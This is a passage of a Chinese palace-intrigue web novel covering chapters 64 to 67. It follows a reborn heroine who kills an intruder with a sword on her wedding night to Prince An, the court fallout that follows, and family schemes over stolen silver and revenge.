沈清婉咬牙:“假的也不会让你看出来,进屋。” 两个人进屋,看邹氏哭得肝肠寸断,沈清瑶抹着眼泪拿出来休书。 看到休书,邹氏惨叫一声直挺挺的摔躺在土炕上了。 沈清婉上前两步,直接从沈清瑶手里抢过来休书,看到最后抬头死死地盯着沈清瑶:“什么都没了,这个怎么在?” “我放在怀里了。”沈清瑶说完,意识到不对,抬头看沈清婉:“你怎么跟我说话呢?” “怎么跟你说话?”沈清婉冷哼一声:“从头至尾,都是你说什么就是什么,你害我也就罢了,把我们所有人都害得这么凄惨,还跟我硬气上了?” 沈清瑶抬起手指着沈清婉:“你!” “我什么?少给我摆长姐的架子!若不是你,我们会被沈家撵出来?你太自私了,吞了母亲的嫁妆是不是?好啊,沈清瑶,你利用我也就罢了,还利用沈清欢算计安王,如今你啥也没得到,我也跟着遭罪,你才是丧门星!”沈清婉过去掐邹氏的人中,邹氏长叹一声醒过来。 还没等睁开眼睛就听到沈清婉说:“你总是诓骗母亲,母亲每次都信你,一回两回我们都觉得你说得对,可你对什么了?沈家不是死光了吗?我看沈家都富贵荣华呢,我们快死了!” 邹氏如遭雷击的睁开眼睛,看沈清瑶,是啊! 沈清瑶说的话,那句也没对过啊,如今自己没了娘家仰仗,被婆家扫地出门,嫁妆给了,还被沈清瑶给弄丢了,是真的丢了吗?就这点子活命钱,她若是想要私吞,也太正常了,知女莫若母,沈清瑶太自私了。 “母亲,你也信她胡说八道?”沈清瑶看邹氏狐疑的眼神,眼泪往外掉:“我为了能让咱们娘几个有安身之所,都委身给了一个马夫啊。” 沈清婉啐了一口:“谁让你这么做了?再说了,委身给了马夫,不是在沈府里就那样了吗?要不是你想要算计安王,安王能这么算计你?你活该,你罪有应得,母亲和我做啥了?都是你诓骗我们,现在我们都要跟着你遭罪,沈清瑶,你要有良心就把银子交出来!” “我没有,我差点儿被人杀了,你看看我脖子上的伤!”沈清瑶扭过头,给沈清婉和邹氏看脖子上的伤。 邹氏刚要说话,沈清婉立刻拉住邹氏的手:“娘啊,你可别糊涂了,这不过是苦肉计,如今她都敢给你接休书了,若不是她得了莫大的好处,能做这事儿?只要不接休书,你最少还能带着我们去找我爹,如今我们都没脸去找爹了。” 邹氏心里咯噔一下,是啊!自己怎么就没想到啊,到底是慈母多败儿啊,如今自己哪里还有一点点儿退路了啊! “现在怎么办?”邹氏看沈清婉。 沈清婉摇头:“我也不知道,父亲都写休书了,就算我们去找,人家也不认我们了,保不齐又娶了年轻的继室,回头三五年再生几个孩子,我们只能是他的污点,这些不都是沈清瑶害的吗?” 沈清舟悄悄退到了外面,蹲在地上脑子里飞快的盘算着,他抬头看阎五,马车都没回来,难道这俩人私下里商量好了? 他可跟屋子里的三个人没什么关系,母亲不是自己的亲生母亲,两个姐姐也不是一奶同胞的亲姐姐,如今被她们的猪脑子连累到这个地步,就算是庶出又如何啊?他也是沈家的男丁啊。 可若回去沈家,定是没有好果子吃的,但要去找父亲,天大地大去哪里找? 一筹莫展的他只觉得自己这天,是真塌了,但坐以待毙留在这里是绝对不行的,能去找谁?他在京城还能投奔什么人? 他算是知道什么是无依无靠了。 阎五可记得自己要做的事呢,听到屋子里骂骂咧咧,哭嚎声断断续续,过来踹门进屋,怒喝道:“丧气玩意儿,都一身本事,还在梦里没醒吗?能做农活就在这里,不能做农活就滚出去!”抬起手指着沈清婉:“少叫唤,不然把你卖到楼子里去!也能得些银子贴补家用呢!” 沈清婉瞪大了眼睛,刚要喝骂阎五主仆不分,邹氏赶紧捂住了她的嘴,现在的处境简直荒唐,曾经的马夫成了主子,她们反而成了寄人篱下的人,真要是得罪了他,再把沈清婉卖掉,那她这辈子可就真全完了。 “做饭去!老子饿了!”阎五看邹氏。 邹氏颤巍巍的下地,拉着沈清婉出门去灶房。 “娘,咋办?”沈清婉问。 邹氏压低声音:“别着急,若是她不仁,咱们就不义,总有露出马脚的时候,怎么也要手里有点儿银子,我带着你去找你爹。” 沈清婉这才蹲下来老老实实的烧火,抱着柴站在门外的沈清舟把这话听得清楚,只觉得自己更可笑了,有娘的人就是好,不管落到什么田地,都有娘给盘算着,自己就不一样了,啥也没有。 沈清瑶知道自己有一百张嘴也解释不清,一股火憋得倒下了。 沈清舟吃过饭就在门外蹲着,阎五出去把马车赶回来了,沈清舟看到新换的马车辕子,还看到阎五手里拎着个布袋子,瞅着不轻,悄悄的着看阎五把东西放在了他和沈清瑶住着的屋子里,那个屋子里除了一个柜子没别的。 到底是被沈清婉猜中了。 第二天一大早,阎五就让他去砍柴,沈清瑶和沈清婉要去山里挖野菜,找野果,阎五去田里看庄稼,眼看着到了秋收的时候,邹氏都不能闲着,房前屋后要收拾干净。 沈清舟算计好了,悄悄溜回家里,看邹氏提着扫帚往屋后去,一闪身进了阎五的屋子里,打开柜子翻出来一个木匣子,东西恢复原样,抱起来就跑。 找到砍柴的斧子,劈开匣子的时候,笑了,什么叫天不绝人之路!这就是! 抓起来银票踹在怀里,二话不说直接扬长而去,至于去哪里都不重要,他要科举入仕!他要扬眉吐气,谁都指望不上的时候,就指望自己! “小姐,银票有人拿出来汇兑了。”林嬷嬷说:“在京城外三十里的如意镇。” 沈清欢笑了:“好,盯着点儿,必定是沈清舟!” 要说聪明人,唯有沈清舟了,自己放过沈清瑶一次,她不知道安生过日子,还敢回来闹腾,那就不能给她机会了,毕竟上一世所作所为,她早就该死了! 第64章 大婚就杀人的安王妃 沈清舟在如意镇换了现银,两眼一抹黑的他决定回去京城,沈府是不敢回去的,但找铺子里的掌柜,总能打听出父亲的下落,他现在唯一能投奔的就只有父亲了。 坐上马车会京城,一路上都十分小心谨慎。 京城的铺面他都知道,但明目张胆去找也是不敢,幸好这一身破衣烂衫没人能想到他是沈家公子,挑选了最偏僻的米粮铺子进去询问。 小伙计摇头:“这位小哥有所不知,我都没见过东家,不过倒是听说东家和家里闹翻了,如今我们都交给府里打理,东家去哪里就不得而知了。” 沈清舟客客气气的离开,茫然的走在京城的街上,不知不觉就到了沈府附近,他找到了乞丐窝,把拎着的一兜馒头分下去,询问沈家的事。 这些小乞丐消息灵通的很,受人恩惠自然知无不言。 等听完沈家这些事后,沈清舟捂着脸哭了起来,父亲跟沈家闹翻,净身出户还带走了二姐,沈清欢马上要成安王妃了,怪不得沈清瑶会大闹沈府。 母亲的嫁妆被当街贱卖,沈清瑶带着银子跟那个马夫走了,之后发什么小乞丐们可不知道,但沈清舟认定了沈清瑶私吞了那些银子。 “小哥,你别哭,你和沈家啥关系啊?”小乞丐问。 沈清舟摇头:“没、没关系,就是觉得沈家真热闹。” “可说呢,沈家嫡出这些啊,还是宅心仁厚的,庶出到底是养不熟,这下好了,全清净了。”小乞丐说着,还啐了一口解恨。 沈清舟知道京城不是久留之地,想要找到父亲下落无异于大海捞针,他决定离开京城,不管去哪里都好,找个能读书的地方安顿下来,六亲无靠就自己争气。 想到这里也不多留,直奔京城外去,因科举有回原籍的规定,他不能离京城太远,倒也是运道好,来到一个叫大王庄的村子,村子里有私塾,他投奔到私塾,交了束脩,在村子里租了房屋,这也算安顿下来了。 京城里的事跟他无关,他也和沈家无关,为了能有个名正言顺的身份,他琢磨在大王庄找一户人家认亲,那样就天衣无缝了。 沈家。 沈清欢听说没有沈清舟下落了,反倒心里踏实了。 沈清舟虽说年纪不大,但城府不浅,若是回到京城,虽说掀不起什么风浪,可也要处处提防,耗费心神。 眼看着婚期临近,京城里的大事只有一件,漠北守将庞毅遇刺身亡,庞世勋第十二义子庞开扶灵归京。 隔着一重生死,再次听到庞开这个名字,沈清欢身上都起了一层细密的鸡皮疙瘩,她上一世只知道庞开是司徒珩手底下的猛将,却不知道庞开原来是漠北庞家是这样的关系。 难道说庞开现在还不是司徒珩的人? 沈清欢在心里衡量,若自己弄死庞开会如何,杀他得选个好时机。 庞家九月十二扶灵归京,九月十六老将军庞毅入土为安。 京城庞家受到了靖安帝的嘉奖,庞家感恩戴德,一片君臣祥和的景象。 沈家从九月十六这天就开始准备,十九这里满朝文武都来庆贺。 九月二十日,司徒珩亲自登门迎亲,沈清欢早早收拾妥当等待上花轿,头戴太后赐的凤冠,金丝为骨,凤衔宝珠,缀满珍珠、宝石,两侧垂下步摇,金叶玉珠随着步履摇曳生姿,额间贴着金箔花钿,形如牡丹,鬓发插着金镶玉簪钗,钗头嵌着红珊瑚。 深青色织锦为底,通身以金线、彩丝刺绣翟鸟纹,衣襟、袖口缀着珍珠和宝石,下配朱红色曳地长裙,裙摆层叠如云,行走时流光溢彩,肩搭泥金刺绣披帛,轻若烟霞,腰间垂挂白玉蔽膝,雕龙凤呈祥纹路,衣带金银丝织成,结系成繁复的同心结。 颈佩七宝璎珞,腰间悬金玉禁步,垂挂流苏玉佩,步履轻移时清脆悦耳,手持金柄团扇,扇面绣龙凤合欢图,半遮娇颜,含羞典雅。 司徒珩四爪蟒龙袍,神采奕奕,亲自来到沈清欢面前,伸手相邀。 旁边喜婆打趣儿:“王爷可急不得,这还没有到安王府呢。” “这样吗?”司徒珩有些紧张,不好意思的笑了。 礼数过后,沈清樾过来背沈清欢出门上轿,司徒珩冲着沈家众人深深鞠躬。 坐在轿子里的沈清欢抬头看兄长红了的眼眶,柔声:“哥,我会好好的。”: “嗯。”沈清樾点头。 唱喏太监高声:“起轿!” 浩浩荡荡的队伍从沈家出发,绕京城大半圈往安王府去,嫁妆像是抬不完似的,百姓倾巢而出,沿途洒下喜钱无数,百姓们的吉祥话不绝于耳。 沈清欢悄悄撩起花轿帘子往外看,见司徒珩一身红色蟒龙袍,骑着踏雪驹,沿途抱拳还礼,眼角眉梢是真的喜气洋洋。 放下帘子,沈清欢在想,上一世也是九月时候到漠北的,那个时候的司徒珩是什么样子?似乎忘记了,但从到漠北后,自己便被关在那间屋子里。 如今,还是他,把自己迎娶进了安王府,好像都不一样了,可仔细想又觉得没什么太大的变化。 安王府,群臣尽数都到。 沈清欢只觉得礼数多得吓人,她晕头转向,直到礼官高呼:“礼成,送入洞房。” 她可算松了口气。 陈嬷嬷、疏影和红缨不离左右,司徒珩小心翼翼的搀扶着沈清欢来到后宅主院,丫环婆子给王妃行礼,陈嬷嬷把早就准备好的红封分发下去。 进门,沈清欢坐在喜床上,抬起手揉了揉脖子,这满头珠翠压得颈子都疼了。 司徒珩垂眸看着她,心口竟又微微地疼,脑海里出现了两个人穿着民间成婚的红衣的画面,一闪而逝,让他摸不着头脑。 “你怎么不去前头应酬?”沈清欢抬眸看司徒珩。 司徒珩蹲下来握住沈清欢的双手,抬眸看她:“别委屈自己个儿,这院里上没有老人压着,下没有叔、姑,只管想做什么就做什么。” “嗯,快走吧。”沈清欢催促。 司徒珩本还想要再嘱咐几句,奈何不知道还有什么能说的,只能起身去前头应酬。 沈清欢打量屋子里的摆设,安王府的气派可见一斑,奇珍异宝似乎都摆出来了,金碧辉煌的让人觉得过于耀目。 在西墙上挂着一柄缠金丝的宝剑,上面镶嵌着宝石,倒是好看的很。 不知道等了多久,沈清欢扶了扶头上的凤冠,想要叫郑嬷嬷过来帮自己摘下去,还没等说话,就听到外面有人问:“这是洞房吗?” 沈清欢心咯噔一下,这个声音她记得!是庞开! 门被推开,庞开还有几个世家子笑嘻嘻的入门来,他摇头晃脑的说道:“都说安王妃是京城第一美人儿,我要开开眼。” 沈清欢起身往西墙这边来,暗暗咬牙,抬起手取下墙上的宝剑,庞开已经绕过屏风走了进来。 嘡啷一声,宝剑出鞘,沈清欢娇喝一声:“轻薄天家妇,你该死!” 第65章 杀人偿命,我给他偿命就是了 庞开哪里会想到? 只觉得胸口一凉,完全没有痛感,周围的人尖叫出声:“杀人了!杀人了!” 他缓缓低头,看到了宝剑上的金丝和镶嵌的宝石,再往前是那双手葱白儿一般的手,双手用力握宝剑的缘故,青筋隐约可见,抬头看那张据说京城第一美人儿的脸,双眼怨毒让人觉得莫名其妙,皱眉:“你,为何?” 为何? 沈清欢只觉得心里头别提多畅快了! 就像是压在心头的一大块石头飞走了,杀庞开是执念,是从这个名字在她重生之后第一次出现在脑海里的时候,就坚若磐石的执念。 她连累不到沈家,因为此时的身份是安王妃。 周围乱成一团,沈清欢感觉到有人靠近的时候,积攒了全部力量奋力的把宝剑彻底没入庞开的胸口。 司徒珩看着庞开胸口染血的刹那,脑海里的画面连贯起来,庞开轻薄沈清欢,自己杀了庞开,沈清欢死在自己怀里,而他为二人穿上了红色的喜服,死在了漠北的大账里。 是这样吗? 司徒珩心口剧痛,头都要裂开了一般,伸出手拥沈清欢入怀,抬起手蒙住她的眼睛,厉声:“擅闯本王新房,意图轻薄王妃!入宫求皇上圣裁。” 侧身把沈清欢护在怀里,顺势接过宝剑,往外拔剑的时候,鲜血飞溅到他的长袍上。 沈清欢抬头,一滴眼泪落在她的脸上,这让沈清欢有些莫名其妙。 司徒珩低下头,见沈清欢伸出手到自己的脸颊上,轻轻擦掉了眼泪,心痛的感觉越发的难以抵抗。 “你哭了?”沈清欢异常冷静。 司徒珩轻声:“嗯。” “吓得?”沈清欢微微挑眉:“我不会连累你的,杀人偿命,我给他偿命就是了。” 司徒珩低头,额头抵着沈清欢的额头:“是心疼阿灼。” 沈清欢心里头轻轻叹息,心疼?心疼什么呢?自己给他惹了大祸啊。 众人被带走,包括躺在地上,气绝身亡的庞开也被抬出去了。 房间里只剩下了司徒珩和沈清欢。 司徒珩在她耳边轻声说:“别怕,阿灼,这次我非但能护你周全,还能护着沈家周全,跟我入宫,只管默默垂泪。” 沈清欢还没反应过来,头顶的凤冠被司徒珩轻轻摘下来,直接摔在世行,珠翠飞溅。 “司徒珩。” “听话。”司徒珩抬起手劈晕了沈清欢,直接把人打横抱起,吩咐人捧着破碎的凤冠,也不用车马代步,就这么抱着沈清欢来到皇宫外,双膝跪倒。 宫门守卫一看,这还了得? 立刻往宫里去禀报。 靖安帝偏偏不在宫中,此刻正在卫国公里寻欢。 闵太后得了消息,直奔宫门口来,看到新婚小夫妻这副模样,气得险些昏倒,直奔御书房去。 御书房门口,林有德脸色苍白的跪在地上:“太后,皇上、皇上真的不在御书房。” “去哪里了?”闵太后厉声。 林有德不敢说。 闵太后心里明白了,这个昏君什么伤风败俗的事都做!简直丢了祖宗的脸,不过此时不是计较这个的时候,闵太后吩咐:“去请皇上回来!” 林有德爬起来往外去。 闵太后这才问小太监,小太监不敢隐瞒:“回太后,安王派人前来求皇上圣裁,庞开闯入洞房,对安王妃不敬,安王妃杀了庞开。” “人死了?”闵太后问。 小太监点头:“死了,听说安王妃惊吓过度昏迷不醒,就连太后赐的凤冠都破了。” 闵太后一迭声三个字:“好,好,好!” 卫国公府里,靖安帝正在兴头上,林有德的声音从外面传来:“皇上,出大事了,太后让您速速回宫。” 靖安帝哪里听得进去。 “安王妃杀了人。”林有德又说。 林舒清心神大震,瞬间把靖安帝绞得登仙,一声低吼后,舒坦的趴下来,闭着眼睛歇息。 林有德急得犹如热锅上的蚂蚁,只能再次出声:“安王妃杀了庞开。” “皇上。”林舒清轻柔的给靖安帝擦拭:“真是一件事都离不开您,本来大喜的日子闹出人命就不吉利,还是庞家人,这庞家人该不是存心的吧?” 靖安帝睁开眼睛:“嗯?” “妾也是乱猜的,不过听说沈家大公子要往漠北去,庞开这么一闹腾,可是要耽搁了正经的大事,看着是闹洞房死了,保不齐是庞家的计策。”林舒清说:“谁愿意把手里的兵权交出去呢?” 靖安帝捏了捏林舒清腰上的软肉:“你这个鬼精灵,倒是让朕心里透亮了,若真如此,回头重赏。” “妾可不要什么赏赐,得皇上如此眷顾,妾、妾只觉得天大的福分也不过如此。”林舒清说着,帮靖安帝穿衣。 靖安帝穿戴整齐,有些腿软,但心里头畅快,迈步往外走的时候回头看林舒清:“朕,从不妄言。” 林舒清送人到门口,看着林有德搀扶着靖安帝离开,缓缓地吸了口气。 她如今的身份不能乱走动,叫来了非花:“速速去跟三爷说明,务必要三爷把庞开的底细查清,再查庞家,以策万全。” 非花恭敬的抱拳一礼,转身离开。 靖安帝还没有回到皇宫,沈景行已经接到了消息。 他把手底下的人撒出去,先一步回到沈家。 沈良辅神色凝重:“阿灼绝不是个拎不清的人。” “父亲,若阿灼惹祸,那就要承担后果。”沈景谦虽心如刀绞,可也不能护短,沈家上下这么多人,不能因女儿受累。 沈景行迈步进屋:“二哥,你就是这么当父亲的?阿灼杀人必定有理由,且一定是对方该死,若你都不坚信此事,岂不是让有心人乘虚而入?” “三弟。”沈景谦眼圈泛红。 沈景行说:“沈家都去宫门口,趁机辞官,二哥,这也许是阿灼为沈家做得最决绝的一件事,甚至不惜以自己为代价。” 这话犹如重锤,直让沈良辅都心如刀绞。 起身:“走,我若连自己的孙女都护不住,这一把老骨头也不用要了。” 门外,得了消息的沈老夫人握紧了沈夫人的手:“带上我们!” 沈家人浩浩荡荡往宫门口来。 靖安帝已经把安王召入御书房,闵太后看着昏迷不醒的沈清欢,再看她抱在怀里已经破烂的凤冠,心里已经把庞家人都屠戮殆尽了。 杀气腾腾的她坐在椅子上,睨了一眼靖安帝。 靖安帝正震惊,没注意到闵太后的神色,问:“这到底是怎么回事?” “臣弟在前头应酬,下人来禀庞开带着一众人往新房去,臣弟赶到的时候,沈清欢目光呆滞,双手捧着宝剑,庞开被扎了个透心凉。”司徒珩说:“已气绝身亡。” 靖安帝周身一紧,他见过庞开,身形高大,是个壮汉,再看沈清欢娇小玲珑的模样,很难想象是怎么能把庞开扎了个透心凉的。 “凤冠呢?”闵太后问:“为何碎了。” “回母后,庞开意图不轨,扑抓阿灼所至。”司徒珩说。 闵太后抬头看靖安帝:“皇上,难道老九大婚,不是天家的喜事?庞开算个什么玩意儿?一个义子,也敢如此不把天家威严放在眼里,死有余辜,庞家也要好好查一查!” 话音落下,小太监跟林有德低声说了几句。 林有德赶紧到靖安帝耳边轻声说:“皇上,沈家人都跪在宫门外,老太傅也来了,求见。” 靖安帝微微眯起眼睛:“来人,传朕口谕,庞家人全部押到宫中来!” 第66章 如意夫人真是好雅兴 奉旨抓人,金吾卫出兵迅速。 庞家刚得消息,庞开死在了安王府,都没等反应过来,金吾卫围了庞府,府里一干人等全部看管起来,庞老夫人和一众女眷都被带去了宫里,男丁十二岁以上都被带去御书房。 瞬间,整个京城都知道出大事了,庞开意图调息安王妃,安王妃为守名节,一怒杀了庞开的消息大街小巷传开,如此畜生不如的东西,死得好! 别说安王妃了,就是任何女子在那种时候,都有杀人心,只不过安王妃颇有女中豪杰之姿,真把人杀了。 消息越传越离谱,许多人自发的添枝加叶,不到一个时辰的工夫,那简直犹如亲眼所见一般,描绘的栩栩如生。 而此时,沈景行出现在卫国公府,林舒清的闺房内。 林舒清跪地:“主人,奴婢已经完全可以掌控那位的心思了。” “嗯,我不是你的主人,你的主人是阿灼。”沈景行说:“你如今可以去找霍静纭了。” 林舒清愕然抬头:“找她?” “对,让她趁机为难阿灼,一定要不依不饶,置阿灼于死地。”沈景行说。 林舒清缓缓地吸了口气,沈三爷是真狠啊,这是对霍家恨到什么程度了,幸好自己入了沈三爷的眼,否则不敢想象会落个什么下场。 沈景行取出一个瓷瓶放在桌子上:“卫国公在宫里有人可用,这药丸每三日放在花盆里送到霍静纭的居所。” “是。”林舒清完全没有一点点儿反抗的心思了,卫国公在宫里有人都知道,那人是花房的老嬷嬷也绝对知道,算无遗策还是无孔不入,不管哪一种,林舒清都知道自己的靠山不是靖安帝,而是眼前这位,生死大权都在这位手里。 云烟阁里,霍静纭还在犯愁一直都没见到鸿雁。 “娘娘。” 霍静纭抬头,就见瘦了一圈的鸿雁从外面进来,明明都掉眼泪了,可还是一步步走得极稳重,不用问也知道这是被宫里的嬷嬷调教的太狠了。 鸿雁身后还跟着两个嬷嬷,其中一个容貌威严,不曾见过,后面跟着个老嬷嬷抱着一盆兰花。 鸿雁到了霍静纭跟前跪倒在地:“奴婢给娘娘请安。” “起身吧。”霍静纭伸出手扶了一把鸿雁,鸿雁趁机抬头,眼泪掉了下来,赶紧低头退到一旁。 “老奴给娘娘请安,鸿雁学好了宫里的规矩,老奴给娘娘把人送回来了。”哪个容貌威严的老嬷嬷微微屈膝,说道。 霍静纭点头:“有劳了。” “为娘娘分忧是老奴的分内事,老奴告辞。”老嬷嬷退到门外,转身走了。 抱着花盆的老嬷嬷跪在地上:“娘娘,老奴是花房里花嬷嬷,鸿雁姑娘说娘娘喜欢兰花,托老奴送来给娘娘赏玩。” 霍静纭看花嬷嬷捧着的兰花,点头:“确实好看,放下吧。” 花嬷嬷照做后,恭敬的退走了。 楚嬷嬷扫了眼鸿雁,鸿雁都觉得后背冒冷气,下意识的往霍静纭跟前靠了两步。 霍静纭微微蹙眉:“楚嬷嬷,本宫想要跟鸿雁说几句话,你们退下。” “是。”楚嬷嬷带着人退下去了。 鸿雁看这些人出去了,过来就给霍静纭跪下了,眼泪滴滴答答的往下掉,问:“小姐,你这些日子过的好不好?奴婢以为要死在那个地方呢,奴婢不怕死,可奴婢怕小姐跟前没有个自己人啊。” 霍静纭眼圈微红,问:“今日是因何放你出来的?” “花嬷嬷说宫外发生大事了。”鸿雁往门口看了眼,确认没有人才压低声音说:“安王妃杀人了,今日大婚,竟然把庞家扶灵回京的义子给杀了。” 霍静纭大惊:“哪个?” “庞开。”鸿雁说:“就是老爷和公子都十分钦佩的猛将庞开。” 霍静纭端起茶盏,抿了一小口,微微蹙眉:“沈家可真着急,怪不得司徒珩一定要娶沈清欢,原来就是冲着漠北去的,好!这就别怪我了。” “小姐,咱们可不能乱动,奴婢听说太后震怒,因为庞开打落了太后赐给安王妃的凤冠,就这一条都够死罪了,花嬷嬷说了,庞家女眷都抓进来了,这才把奴婢送回来的。”鸿雁说。 霍静纭轻声:“你就在我跟前好好伺候着,那些个都不知道是谁的眼线,放心吧,你家小姐又不是个草包。” 鸿雁知道小姐的本事,只是她算是见识到了宫里的可怕,这哪里是什么富贵窝,分明是修罗场啊。 主仆正在说话,楚嬷嬷在门外出声:“娘娘,卫国公的如意夫人求见。” 霍静纭脸色一沉,鸿雁赶紧抓住了霍静纭的衣袖,低声说:“我听花嬷嬷说了,说这位如意夫人,其实是皇上的外室,小姐可不能得罪了,正得宠的时候。” “嗯。”霍静纭对着门外说:“请。” 话音落下,一身华服的林舒清走了进来。 霍静纭微微的眯起眼睛,她之前觉得林舒清寡淡无味,可今日再见到她,发现竟有几分雍容了,还真是跟什么人学什么样。 林舒清进门,未语先笑:“娘娘的好运道,说来就来呢。” “倒是比不得如意夫人,如今可是红的发紫。”霍静纭扫了眼林舒清,打心底瞧不起这样的人,一个白向晚就够让人恶心了,没想到京城里最不缺这种恶心的人,林舒清可比白向晚更让人倒胃口。 林舒清自顾自的坐在椅子上,抬头:“再怎么红的发紫,也跟娘娘没法比,倒是京城里不缺热闹,沈清欢还没坐稳安王妃的位子,就闹出人命来了,说起来啊,我心里畅快的很,寻不到谁说说这畅快,倒是想起来娘娘和我一样,都把那位当成过意中人呢。” “慎言!”霍静纭冷了脸。 林舒清一点儿也不在乎,淡淡的说:“这世上,嫁给谁都的看命里承不承得住,庞家那可是漠北守将,护国一方的将门,虽说庞开是义子,可义子都能扶灵归京,地位肯定不一般,娘娘,你说沈清欢会不会因为这件事,死了啊?” 说到最后一句,林舒清抬眸笑吟吟的看着霍静纭。 霍静纭微微眯起眼睛:“如意夫人真是好雅兴,偌大的京城都嚼不下你的舌根子了,跑到本宫跟前说是非,难道你们家里长辈没教过你吗?逢人只说三分话,不可全抛一片心吗?” “无趣,怪不得皇上不喜,你这人啊,真是让人倒胃口。”林舒清说着,起身就往外走,走到门口回头:“霍静纭,你入宫作甚?真是不成气候,亏着霍家还为你筹谋铺路呢。” 霍静纭心咯噔一下,看着林舒清的背影,难道祖父安排的人,是她? 第67章 一个庞开死有余辜,就够了? 霍静纭闭目养神,尽管鸿雁回来了,可在这吃人不吐骨头的地方,身边虎视狼环,楚嬷嬷不是个省油的灯,自己但凡想要做事都很难的。 牢笼里的日子过了许久,听到沈清欢到底嫁给了司徒珩,除了心上人被抢走的恨意,还有家族被算计的仇,涌上心头让她即便是闭目养神,太阳穴的青筋都凸起了。 她以为自己容貌不错,家世背景不弱,年轻貌美怎么能不得帝心?到底是高估了自己,在这后宫里,不得宠的人是没有任何权利的,纵然难得的报仇机会摆在眼前,也没办法动手啊。 正冥思苦想,鸿雁小声说:“娘娘,我记得咱们一个远亲嫁给了庞老将军做续弦,不知道这位姑奶奶还在不在了。” 霍静纭撩起眼皮儿,心里头顿时敞亮了不少。 说起这位给庞毅老将军做续弦的远亲,她是入宫之前才知道的,是族里为了稳固霍、庞两家,选出来的霍家女,按辈分论起来自己得叫一声姑祖母,不过是旁系,往来少,自己都没见过。 虽说是旁系,但是执掌霍家家族的家族长的掌上明珠,也正因为这位姑祖母嫁给了庞毅,才会庇护她的娘家一直都稳稳地坐在家族长的位子上。 “若是健在,会来找我。”霍静纭低声说。 其实,心里是不想让庞家人来找自己的,不过有这个由头,自己确实可以伸以援手,祖父的安排到底如何尚不可知,这些日子确实没有什么人往自己跟前来,坐以待毙是不行的,有机会要主动出手。 淡淡的幽香似有若无,霍静纭抬眸看了眼摆在角落里的兰花,福至心灵一般想到了法子,起身:“鸿雁,去拾掇小厨房。” “是。”鸿雁去拾掇小厨房,霍静纭让楚嬷嬷去御膳房取一只处理干净的羊和佐料,命春杏和秋桃准备炭火,就在小厨房的旁边支起来了铁架子,剔骨刀锋利无比,分割羊十分顺手,腌制、调味儿都是霍静纭手到擒来的本事,炭火点燃后,她亲自坐在院子里烤全羊,香味儿飘散开,味道诱人的很。 御书房里,靖安帝脸色阴沉,庞家人,女眷跪在门外,男丁跪在御书房里,安王司徒珩在偏殿守着昏迷不醒的沈清欢,太后不放心,也在这边等着。 沈清欢是哭着醒来的,睁开眼睛看到司徒珩在身边,一头扑到了司徒珩的怀里:“司徒珩,哪个混账东西要欺负我,呜呜呜……我好害怕,我杀人了,我杀人了。” 司徒珩把人抱在怀里:“阿灼不怕,阿灼不怕。” “我要回家,我要找娘亲。”沈清欢抓着司徒珩的衣襟:“我不能连累你,呜呜呜。” 这可把旁边的太后听得心如刀绞,瞅瞅给孩子吓成什么样子了?瞅瞅这孩子多懂事,怕连累司徒珩。 “阿灼不怕,不用回去,母后也可以给你做主。”太后出声。 沈清欢几乎是瞬间推开了司徒珩,脸色苍白的打量着眼前的场景,赤着脚下地扑通就给闵太后跪下了:“母后,儿臣、儿臣好害怕,那个人好凶,她抓儿臣的时候,母后赐给儿臣的冠没保住。” 闵太后心疼的起身拉着沈清欢站起来:“傻孩子,那些玩意儿是身外之物,危急关头性命最重要,回头母后让工匠给你做更好,更漂亮的。” 司徒珩过来:“母后,皇兄还等着呢,阿灼既然醒来了,我带她过去。” “急什么?”闵太后脸色一沉:“庞家人还等不得了?安王大婚,安王妃险些受辱,庞家是等不得投胎吗?” 沈清欢低下头,眼泪吧嗒吧嗒往下掉,心里格外舒坦,庞开的命,自己收了!如果庞家人不服,那就再多搭上几条命,回头兄长去漠北,谁敢惹?敢惹就得想一想自己的脑袋保不保得住! 司徒珩轻声应是。 外面,保生被特准入宫,进来禀报:“王爷,王妃,温家人都在宫门口候着呢。” 沈清欢立刻抬头看闵太后。 闵太后拍了拍她的手:“莫怕,来啊,传哀家口谕,请温家人到哀家的宫里去。” “母后,儿臣去见皇上,不能连累天家。”沈清欢小声说。 闵太后柔声:“只管给哀家凶起来!天家尚且护不住个媳妇了?”转头对司徒珩说:“这是你的妻子,杀父之仇和夺妻之恨,男人没一个能忍得下的,辱她犹如辱你和天家!” “是,儿臣遵旨。”司徒珩搀扶着沈清欢到旁边,蹲下来给沈清欢穿鞋。 沈清欢有些不好意思,闵太后倒是满意,她知道司徒珩多喜欢沈清欢的,小儿女的婚事是心中所求,这是福分。 两个人从偏殿出来,闵太后走在前头,到御书房的时候,闵太后没有落座,而是说:“皇上,温家人不知真相,在宫门口请罪,这于理不合,是天家没有护好温家女,哀家已经让人请温家人到哀家的宫里去了,若是需要,皇上可传召。” 靖安帝点头:“母后思虑周全。” 闵太后出门离开,在门外扫了一眼跪在地上的庞家女眷,蹙眉:“带去慎刑司,在这里碍眼。” 庞家人是大气都不敢出,有太监过来把这些人送去慎刑司。 御书房里,沈清欢跪在地上,给靖安帝叩首请安。 “与庞开一起进去的还有别人吗?”靖安帝问。 沈清欢仔细想了想:“回皇上,臣妇不记得还有别人,庞开进门时候说要见一见京城的美人儿,臣妇就方寸大乱了。” 靖安帝扫了一眼庞家人,登徒子三个字就差骂出来了。 “臣妇的冠被抓掉的时候,只想以死明志,所以扑过去取宝剑,当时情况已经记不清了,但臣妇杀人了。”沈清欢说到这里,身体微微颤抖。 靖安帝不疑有他,毕竟沈清欢可不是什么习武之人,庞开又是个莽夫,按理说,庞开如果意识到对方要杀自己,那么必定会防备,沈清欢哪里会得手呢? 庞家人都不敢吭声,就别说辩驳了。 死人不会说话,可就算有旁人,这个时候谁都要趋吉避凶,庞开这个短命鬼得罪的是安王和安王妃,在大婚之日闯洞房,本就该死。 如今只是不知道皇上会怎么想,这感觉像是头悬利刃一般。 靖安帝扫了眼庞家人。 庞家,庞毅这一脉是嫡长,到如今第三代人也在漠北边关,京城里除了庞毅这一脉的女眷,执掌庞家的是嫡出的二房和庶出的三房。 庞德和庞忠二人都六十开外,如今他们跪在地上瑟瑟发抖,跟孙子似的。 “庞开本该在庞家守孝,守孝人去观礼本就不敬,闯入后宅是为何啊?”靖安帝冷冷的问道:“是挑衅安王?还是藐视天家?” 庞德和庞忠三魂七魄都快吓飞了,磕头犹如捣蒜:“皇上恕罪,皇上,庞开只是义子,并且是头一次来京城,草民没成想他如此不懂规矩,皇上,他死有余辜!” “朕倒想起来了,沈清樾要去漠北监军,怎么着,庞家是不愿意吗?”靖安帝一拍桌子:“如此丑事,玷污天家颜面,一个庞开死有余辜,就够了?” 第68章 